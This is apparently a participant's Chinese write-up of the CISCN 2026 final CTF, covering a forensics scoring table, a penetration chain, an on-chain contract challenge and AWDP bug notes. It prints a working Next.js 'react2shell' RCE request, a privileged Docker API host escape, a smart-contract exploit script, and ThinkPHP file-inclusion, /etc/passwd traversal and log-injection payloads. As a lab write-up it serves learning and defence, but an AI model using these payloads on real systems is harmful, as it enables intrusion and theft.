前言
一场主办方的闹剧,精心准备的最后一舞终以无奈收场
可惜了第一天的渗透前十,原来我们一直在用 27b 模型对抗本地部署了 v4pro 甚至更强的模型啊🤣

Build
| 评分项 | 分值 | 评分说明 |
|---|---|---|
| 格式合规 | 10 | 严格检查文件、schema、枚举、时间、唯一性和引用关系;任一错误使本次提交无效,总分为 0。 |
| 证据发现 | 25 | 按 event_id 命中情况计算 precision、recall 和 F1。 |
| 攻击阶段分类 | 10 | 检查命中关键证据的 stage 是否正确。 |
| 时间线还原 | 15 | 保序一对一匹配;必需证据 70%、stage 15%、起止时间各 7.5%。 |
| 拓扑节点 | 10 | 规范化实体集合按 precision、recall 和 F1 评分。 |
| 拓扑边关系 | 20 | from/to 40%、action 15%、stage 15%、时间 10%、必需证据 20%,再计算质量 F1。 |
| IOC 提取 | 10 | type/value F1 占 7 分,时间、关联资产和证据元数据占 3 分。 |
分别拿 v4pro 和 5.6 sol 跑了几轮交了三发,拓扑拿的分很糟糕
| 提交 | 时间 | 状态 | 总分 | 格式 | 证据 | 阶段 | 时间线 | 节点 | 边 | IOC | 错误 |
|---|---|---|---|---|---|---|---|---|---|---|---|
| 第 3 次 | 2026-08-16T17:34:55+08:00 | 评分完成 | 73.12 | 10.00 | 25.00 | 8.65 | 12.28 | 6.15 | 3.94 | 7.10 | 无 |
| 第 2 次 | 2026-08-13T17:30:38+08:00 | 评分完成 | 76.66 | 10.00 | 25.00 | 8.65 | 12.01 | 6.80 | 7.49 | 6.71 | 无 |
| 第 1 次 | 2026-08-13T10:30:34+08:00 | 评分完成 | 76.44 | 10.00 | 24.76 | 8.65 | 11.58 | 7.17 | 7.18 | 7.10 | 无 |
排三十多名还行
渗透
今年渗透挺强的,一路杀到全场第 5
信息收集
start infoscan
192.168.18.3:8080 open
192.168.18.3:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.18.3 code:307 len:5 title:None 跳转url: http://192.168.18.3/apps
[*] WebTitle http://192.168.18.3:8080 code:200 len:13519 title:区块链
[*] WebTitle http://192.168.18.3/apps code:200 len:45492 title:None
80 端口上是 dify,直接打 react2shell 了
POST /apps HTTP/1.1
Host: 192.168.18.3
Next-Action: x
X-Nextjs-Request-Id: b5dce965
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
sec-fetch-mode: navigate
cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757815655
accept-encoding: gzip, deflate, br, zstd
sec-fetch-dest: document
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
te: trailers
sec-fetch-site: none
sec-fetch-user: ?1
priority: u=0, i
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
flag{11111103b2ce49e4a541068d49111111}
内网信息收集
/app/web $ ./fscan32 -h 172.18.0.5/24 -np
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
172.18.0.1:22 open
172.18.0.1:80 open
172.18.0.2:80 open
172.18.0.1:443 open
172.18.0.7:5432 open (postgres:15-alpine)
172.18.0.6:6379 open (redis:6-alpine)
172.18.0.3:8080 open
172.18.0.1:8080 open
172.18.0.1:2375 open
172.18.0.5:3000 open (langgenius/dify-web:1.10.0-flag)
172.18.0.8:3128 open
172.18.0.3:8300 open (semitechnologies/weaviate:1.27.0)
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.18.0.8:3128 code:400 len:3212 title:ERROR: The requested URL could not be retrieved
[*] WebTitle http://172.18.0.3:8080 code:301 len:111 title:None 璺宠浆url: http://172.18.0.3:8080/v1
[*] WebTitle http://172.18.0.2 code:307 len:5 title:None 璺宠浆url: http://172.18.0.2/apps
[*] WebTitle http://172.18.0.1 code:307 len:5 title:None 璺宠浆url: http://172.18.0.1/apps
[*] WebTitle http://172.18.0.3:8080/v1 code:200 len:1383 title:None
[*] WebTitle http://172.18.0.1:2375 code:404 len:29 title:None
[*] WebTitle http://172.18.0.1:8080 code:200 len:13519 title:鍖哄潡閾?
[*] WebTitle http://172.18.0.5:3000 code:307 len:5 title:None 璺宠浆url: http://172.18.0.5:3000/apps
[*] WebTitle http://172.18.0.5:3000/apps code:200 len:45492 title:None
[*] WebTitle http://172.18.0.1/apps code:200 len:45492 title:None
[*] WebTitle http://172.18.0.2/apps code:200 len:45492 title:None
[+] PocScan http://172.18.0.1:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://172.18.0.1:2375 poc-yaml-go-pprof-leak
[+] PocScan http://172.18.0.3:8080/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
存在 docker api 未授权
❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 images
i Info → U In Use
IMAGE ID DISK USAGE CONTENT SIZE EXTRA
langgenius/dify-api:1.10.0 61ec4eedffff 3.33GB 774MB U
langgenius/dify-plugin-daemon:0.4.1-local
cc0ff3c59d51 2.13GB 554MB U
langgenius/dify-sandbox:0.2.12 4e65e8a351a2 825MB 189MB U
langgenius/dify-web:1.10.0 ad20580cb418 829MB 184MB
langgenius/dify-web:1.10.0-flag 9b95dcd61966 829MB 184MB U
nginx:latest ec4ed8b5299e 241MB 66MB U
postgres:15-alpine cd17e2ac9824 417MB 116MB U
redis:6-alpine c9ab371a96b0 41.8MB 11.9MB U
semitechnologies/weaviate:1.27.0 53fa576934f8 234MB 70.8MB U
ubuntu/squid:latest 6a097f68bae7 303MB 70.3MB U
❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 run --privileged=true -it -v /:/tmp
nginx /bin/sh
# ls
bin docker-entrypoint.d home media proc sbin tmp
boot docker-entrypoint.sh lib mnt root srv usr
dev etc lib64 opt run sys var
# ls /tmp
afs boot etc home lib64 meta.js opt root sbin sys usr
bin dev flag lib media mnt proc run srv tmp var
# cat /tmp/flag
flag{333333b8548dabf9bbc55166ca333333}
flag{333333b8548dabf9bbc55166ca333333}
由于 .1 开着 22 端口,此处可以写 ssh 公钥,ssh 连上 .1 宿主机即可
然后就能从 docker 横向 postgres 了
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges
-------------+----------+----------+------------+------------+------------+-----------------+-----------------------
dify | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
dify_plugin | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
flag | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc |
template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/postgres +
| | | | | | | postgres=CTc/postgres
(6 rows)
postgres=# \c flag
You are now connected to database "flag" as user "postgres".
flag=# \d
List of relations
Schema | Name | Type | Owner
--------+------+-------+----------
public | flag | table | postgres
(1 row)
flag=# \d flag
Table "public.flag"
Column | Type | Collation | Nullable | Default
--------+------+-----------+----------+---------
flag | text | | not null |
Indexes:
"flag_pkey" PRIMARY KEY, btree (flag)
flag=# SELECT * FROM flag;
flag
----------------------------------------
flag{222222683722cb4f1534afd9bc222222}
(1 row)
flag{222222683722cb4f1534afd9bc222222}
| 目标 | 结论 |
|---|---|
| .1 宿主机 | ✅ root(docker api 未授权) |
| .5 dify-web(-flag 镜像) | ✅ flag + shell |
| .7 pg | ✅ 横向 flag |
| .6 redis | ✅ 收口:仅 plugin-daemon 心跳/抢占锁,无植入 |
| .4 plugin-daemon | ✅ 收口:官方脚手架 main,无 flag |
| .3 weaviate | ✅ 收口:空库,API Key 已拿(WVF5…)可留作报告凭据 |
| .2/.8 nginx+squid | 基础设施组件,随 .1 root 全覆盖 |
| .1:8080 区块链应用 | 🔀 唯一剩余活跃目标,链上路线 |
区块链
这是链上 CTF 平台(geth Clique 私有链,chain id 888,RPC 走 /rpc/),平台已自动给你分配了一个账户 0x5904…7b0c,首页有接水(faucet)按钮可领测试 ETH。
/contracts/contracts.json 列出 3 道合约题,每题都是「满足条件 → claimFlag() / decryptFlag() 拿 flag」模式。
三题漏洞与解法:
- EasyAccessControl (0x99ec…cc9b61 是 owner) — 无权限控制,最简单
- changeOwner() 没有 onlyOwner,任何人可把 owner 改成自己
- 路径:changeOwner(你) → openDoor() → claimFlag()
- Game / MediumReentrancyVault (0xcb4c…2d55) — 经典重入
- withdraw() 先 call 转账后清零余额(check-effects-interactions 违规)
- 合约内有 1 ETH。攻击合约在 receive 回调里反复 withdraw 直到抽干 → 调 check()(要求合约 balance==0)→ claimFlag()
- WalletSignatureDecrypt (0x9531…dd60e) — 需拿到 authorizedSigner 的签名
- 需要拿到 authorizedSigner 地址对 keccak256(abi.encodePacked(“\x19Ethereum Signed Message:\n32”, challengeHash)) 的 65 字节签名(以太坊标准 personal_sign 格式)
- 前两步拿到 signer/challengeHash/encryptedFlag 后,去挖 signer 的私钥线索(题目可能另有 web 端泄露),或用前端「接水/管理 token」等旁路
未授权
执行过程(3 笔交易,均成功):
- changeOwner(0x5904…7b0c) — 把 owner 从部署者 0xebf5…cc9b61 改成你自己(该函
数漏写了权限检查,这是核心漏洞) - openDoor() — 现在你是 owner,passed[msg.sender] = true
- claimFlag() — 验证 passed 为 true,返回 flag 并标记已解决
$ cd ~/Downloads/CISCN2026Final/PTC && python3 - <<'EOF'
import json,urllib.request,time,subprocess
RPC="http://192.168.18.3:8080/rpc/"
ME="0x59045ba3f7a4aa0f25a5e02032ea064411f07b0c"
EASY="0x99ec67374c983edac3c58306b3f19b5d660d771f"
def rpc(m,p):
req=urllib.request.Request(RPC,data=json.dumps({"jsonrpc":"2.0","id":1,"method":m,"
params":p}).encode(),headers={"Content-Type":"application/json"})
j=json.load(urllib.request.urlopen(req))
if "error" in j: raise RuntimeError(str(j["error"]))
return j["result"]
def sel(n):
o=subprocess.run(["cast","sig",n],capture_output=True,text=True,timeout=15).stdout.
strip()
assert o.startswith("0x") and len(o)==10, n
return o
def call(to,data):
return rpc("eth_call",[{"from":ME,"to":to,"data":data},"latest"])
def send(to,data):
nonce=rpc("eth_getTransactionCount",[ME,"pending"])
gp=rpc("eth_gasPrice",[]) or "0x3b9aca00"
h=rpc("eth_sendTransaction",[{"from":ME,"to":to,"gas":"0x186a0","gasPrice":gp,"nonc
e":nonce,"data":data}])
for _ in range(60):
r=rpc("eth_getTransactionReceipt",[h])
if r: return r
time.sleep(2)
raise RuntimeError("no receipt")
def dstr(x):
b=bytes.fromhex(x[2:]); off=int.from_bytes(b[:32],"big");
ln=int.from_bytes(b[off:off+32],"big")
return b[off+32:off+32+ln].decode()
so=sel("changeOwner(address)"); sp=sel("openDoor()"); sc=sel("claimFlag()");
sg=sel("getFlagAfterSolved()")
r1=send(EASY,so+ME[2:].rjust(64,"0")); print("changeOwner:",r1["status"])
print("owner now:",call(EASY,"0x8da5cb5b"))
r2=send(EASY,sp); print("openDoor:",r2["status"])
r3=send(EASY,sc); print("claimFlag:",r3["status"])
print("FLAG:",dstr(call(EASY,sg)))
EOF
changeOwner: 0x1
owner now: 0x00000000000000000000000059045ba3f7a4aa0f25a5e02032ea064411f07b0c
openDoor: 0x1
claimFlag: 0x1
FLAG: flag{555555d138832fc5818c7ff43d555555}
flag{555555d138832fc5818c7ff43d555555}
AWDP
修不了,传什么都修不了,没有报错,没有回显,必定正确的修复依旧判错…
web1
漏洞点 1:任意文件包含 → 任意代码执行 / 源码泄漏 【高危,核心洞】
位置:vendor/topthink/framework/src/think/Lang.php → switchLangSet() 中新增的 @ 兼容分支
if (str_starts_with($langset, '@')) {
$local = ltrim(substr($langset, 1), '/\\');
$file = $this->app->getRootPath() . $local;
if (is_file($file)) { include $file; }
}
- 触发链:
- config/lang.php:detect_var => ‘locale’、allow_lang_list => [](空 = 不校验任何语言)、auto_detect_browser => true
- LoadLangPack::detect() 的 preg 允许 @ . / - _ 等字符,且 allow_lang_list 为空时任意值直接 setLangSet
- defaultLangSet() != $langset → switchLangSet() 进入 @ 分支
- 利用(URL 传参即可,?locale= / x-locale 头 / ops_locale Cookie 均可):
- 源码/文件内容泄漏:GET /?locale=@app/middleware/AccessTrace.php、GET /?locale=@../../../../etc/passwd(ltrim 只剥前导 /,.. 可越过 rootPath,include 直接输出文件内容)
- RCE:root 下存在可被写成/投放的 .php 时直接执行(本机 runtime/、vendor/ 均可达;注意:@ 分支 include 在中间件阶段执行,PHP 会先刷出之前缓冲输出)
- 修复(最小 diff,删除注入的 @ 兼容分支即可):
- if (str_starts_with($langset, '@')) {
- $local = ltrim(substr($langset, 1), '/\\');
- $file = $this->app->getRootPath() . $local;
-
- if (is_file($file)) {
- include $file;
- }
- }
并建议 config/lang.php 填上白名单 ‘allow_lang_list’ => [‘zh-cn’,’en-us’]。
漏洞点 2:访问日志注入 / 信息外带 【低危】
- 位置:app/middleware/AccessTrace.php writeAccessLog()
- 原理:User-Agent(截断 600)、pathinfo 未过滤换行符直接 file_put_contents 进 runtime/log/access.log,可伪造日志行;若日志被展示/回读接口消费则可二次注入。
- PoC:curl -H $’User-Agent: evil\n[2026-01-01] admin login ok’ /
- 修复:写日志前 $ua = str_replace([“\r”,”\n”], ‘ ‘, $ua);(path 同理)。
f**king CISCC